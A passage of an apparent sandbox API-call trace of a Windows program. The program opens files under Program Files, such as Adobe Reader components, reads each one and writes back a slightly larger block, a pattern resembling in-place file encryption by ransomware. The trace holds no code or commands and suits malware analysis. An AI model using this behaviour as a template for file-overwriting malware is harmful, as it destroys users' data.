lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.650] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x17fe, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f2d0*=0x17fe, lpOverlapped=0x0) returned 1 [0036.650] CloseHandle (hObject=0x168) returned 1 [0036.650] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.650] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui", lpFilePart=0x318f690*="NBMapTIP.dll.mui") returned 0x37 [0036.650] GetLastError () returned 0x5 [0036.650] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꞰǦ\x01") returned 0x13 [0036.650] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.650] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.650] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0036.651] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.651] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.651] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\en-US\\NBMapTIP.dll.mui" (normalized: "c:\\program files\\windows journal\\en-us\\nbmaptip.dll.mui")) returned 0x20 [0036.651] CreateFileW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.663] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp", lpFilePart=0x318f690*="Memo.jtp") returned 0x33 [0036.663] GetLastError () returned 0x5 [0036.663] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꞰǦ\x01") returned 0x13 [0036.663] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.663] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.663] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0036.663] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.663] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Journal\\Templates\\Memo.jtp" (normalized: "c:\\program files\\windows journal\\templates\\memo.jtp")) returned 0x20 [0036.664] CreateFileW (lpFileName="C:\\Program Files\\Windows Mail\\wab.exe" (normalized: "c:\\program files\\windows mail\\wab.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.664] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Mail\\wab.exe", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files\\Windows Mail\\wab.exe", lpFilePart=0x318f690*="wab.exe") returned 0x25 [0036.665] GetLastError () returned 0x5 [0036.665] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x5, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="떨p̘폈H̘퐔H̘L̘ꞰǦ\x01") returned 0x13 [0036.665] LocalFree (hMem=0x70b5a8) returned 0x0 [0036.665] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.665] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0036.665] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.665] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.665] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Mail\\wab.exe" (normalized: "c:\\program files\\windows mail\\wab.exe")) returned 0x20 [0036.665] CreateFileW (lpFileName="C:\\Program Files\\Windows Portable Devices\\heater.exe" (normalized: "c:\\program files\\windows portable devices\\heater.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0036.665] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows Portable Devices\\heater.exe", nBufferLength=0x104, lpBuffer=0x318f694, lpFilePart=0x318f690 | out: lpBuffer="C:\\Program Files\\Windows Portable Devices\\heater.exe", lpFilePart=0x318f690*="heater.exe") returned 0x34 [0036.665] GetLastError () returned 0x20 [0036.665] FormatMessageW (in: dwFlags=0x3300, lpSource=0x0, dwMessageId=0x20, dwLanguageId=0x0, lpBuffer=0x318f8a4, nSize=0x0, Arguments=0x0 | out: lpBuffer="?p̘폈H̘퐔H̘L̘ꞰǦ\x01") returned 0x51 [0036.665] LocalFree (hMem=0x70da60) returned 0x0 [0036.666] LoadStringW (in: hInstance=0x400000, uID=0xff84, lpBuffer=0x318d860, cchBufferMax=4096 | out: lpBuffer="Cannot open file \"%s\". %s") returned 0x19 [0036.666] RaiseException (dwExceptionCode=0xeedfade, dwExceptionFlags=0x1, nNumberOfArguments=0x7, lpArguments=0x318f894) [0036.666] RtlUnwind (TargetFrame=0x318f8fc, TargetIp=0x406ffc, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.666] RtlUnwind (TargetFrame=0x318f920, TargetIp=0x407184, ExceptionRecord=0x318f378, ReturnValue=0x0) [0036.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Windows Portable Devices\\heater.exe" (normalized: "c:\\program files\\windows portable devices\\heater.exe")) returned 0x20 [0036.666] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\LeiaMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\leiame.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.666] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.666] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x4273 [0036.666] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.667] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.667] ReleaseMutex (hMutex=0x128) returned 1 [0036.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.667] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="LeiaMe.htm", cchWideChar=10, lpMultiByteStr=0x1e6316c, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="LeiaMe.htm", lpUsedDefaultChar=0x0) returned 10 [0036.667] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.669] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3273 [0036.669] ReadFile (in: hFile=0x168, lpBuffer=0x2772388, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x2772388*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.669] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x3273 [0036.669] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.669] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0036.669] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.669] CloseHandle (hObject=0x168) returned 1 [0036.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AdobeCollabSync.exe" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\adobecollabsync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.670] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.670] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x128fa0 [0036.670] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.670] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.670] ReleaseMutex (hMutex=0x128) returned 1 [0036.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0036.670] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.exe", cchWideChar=19, lpMultiByteStr=0x1e78974, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.exe", lpUsedDefaultChar=0x0) returned 19 [0036.670] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0xf000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0xf000, lpOverlapped=0x0) returned 1 [0036.672] ReadFile (in: hFile=0x168, lpBuffer=0x260fc18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.673] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x127fa0 [0036.673] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x318f278, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f278*=0x1000, lpOverlapped=0x0) returned 1 [0036.687] SetFilePointer (in: hFile=0x168, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x318f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f2e8*=0) returned 0x127fa0 [0036.687] WriteFile (in: hFile=0x168, lpBuffer=0x25c7ed8*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesWritten=0x318f28c*=0x1588, lpOverlapped=0x0) returned 1 [0036.689] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f2bc*=0) returned 0x0 [0036.689] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0xf000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0xf000, lpOverlapped=0x0) returned 1 [0036.690] WriteFile (in: hFile=0x168, lpBuffer=0x260fc18*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x318f28c, lpOverlapped=0x0 | out: lpBuffer=0x260fc18*, lpNumberOfBytesWritten=0x318f28c*=0x1000, lpOverlapped=0x0) returned 1 [0036.690] CloseHandle (hObject=0x168) returned 1 [0036.690] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.fra"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.691] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.691] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0036.691] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.691] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.691] ReleaseMutex (hMutex=0x128) returned 1 [0036.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.691] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.FRA", cchWideChar=11, lpMultiByteStr=0x1e6310c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.FRA", lpUsedDefaultChar=0x0) returned 11 [0036.691] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0036.696] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.696] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0036.697] CloseHandle (hObject=0x168) returned 1 [0036.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\AIR\\nppdf32.RUM" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\air\\nppdf32.rum"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.697] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.697] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x2000 [0036.697] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.697] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.697] ReleaseMutex (hMutex=0x128) returned 1 [0036.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.697] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.RUM", cchWideChar=11, lpMultiByteStr=0x1e6314c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.RUM", lpUsedDefaultChar=0x0) returned 11 [0036.698] ReadFile (in: hFile=0x168, lpBuffer=0x2770358, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesRead=0x318f2bc*=0x2000, lpOverlapped=0x0) returned 1 [0036.706] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.706] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2588, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x318f2d0*=0x2588, lpOverlapped=0x0) returned 1 [0036.707] CloseHandle (hObject=0x168) returned 1 [0036.707] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.CHT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.cht"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.707] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.707] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1e00 [0036.707] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.707] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.707] ReleaseMutex (hMutex=0x128) returned 1 [0036.707] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.708] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.CHT", cchWideChar=11, lpMultiByteStr=0x1e6324c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.CHT", lpUsedDefaultChar=0x0) returned 11 [0036.708] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x318f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.716] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.716] WriteFile (in: hFile=0x168, lpBuffer=0x2770358*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x2770358*, lpNumberOfBytesWritten=0x318f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.716] CloseHandle (hObject=0x168) returned 1 [0036.716] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.JPN" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.jpn"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.717] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.717] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1800 [0036.717] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.717] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.717] ReleaseMutex (hMutex=0x128) returned 1 [0036.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.717] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.JPN", cchWideChar=11, lpMultiByteStr=0x1e62fec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.JPN", lpUsedDefaultChar=0x0) returned 11 [0036.717] ReadFile (in: hFile=0x168, lpBuffer=0x25c7ed8, nNumberOfBytesToRead=0x1800, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25c7ed8*, lpNumberOfBytesRead=0x318f2bc*=0x1800, lpOverlapped=0x0) returned 1 [0036.737] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.739] WriteFile (in: hFile=0x168, lpBuffer=0x1deef48*, nNumberOfBytesToWrite=0x1d88, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1deef48*, lpNumberOfBytesWritten=0x318f2d0*=0x1d88, lpOverlapped=0x0) returned 1 [0036.739] CloseHandle (hObject=0x168) returned 1 [0036.742] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\nppdf32.SUO" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\browser\\nppdf32.suo"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.756] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.757] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x1e00 [0036.757] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f8c0*=0) returned 0x0 [0036.757] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0036.757] ReleaseMutex (hMutex=0x128) returned 1 [0036.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.757] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="nppdf32.SUO", cchWideChar=11, lpMultiByteStr=0x1e6312c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="nppdf32.SUO", lpUsedDefaultChar=0x0) returned 11 [0036.757] ReadFile (in: hFile=0x168, lpBuffer=0x25ca738, nNumberOfBytesToRead=0x1e00, lpNumberOfBytesRead=0x318f2bc, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesRead=0x318f2bc*=0x1e00, lpOverlapped=0x0) returned 1 [0036.760] SetFilePointer (in: hFile=0x168, lDistanceToMove=0, lpDistanceToMoveHigh=0x318f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x318f300*=0) returned 0x0 [0036.760] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x2388, lpNumberOfBytesWritten=0x318f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x318f2d0*=0x2388, lpOverlapped=0x0) returned 1 [0036.761] CloseHandle (hObject=0x168) returned 1 [0036.761] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Legal\\CHS\\license.html" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\legal\\chs\\license.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0036.764] SetFilePointer (in: 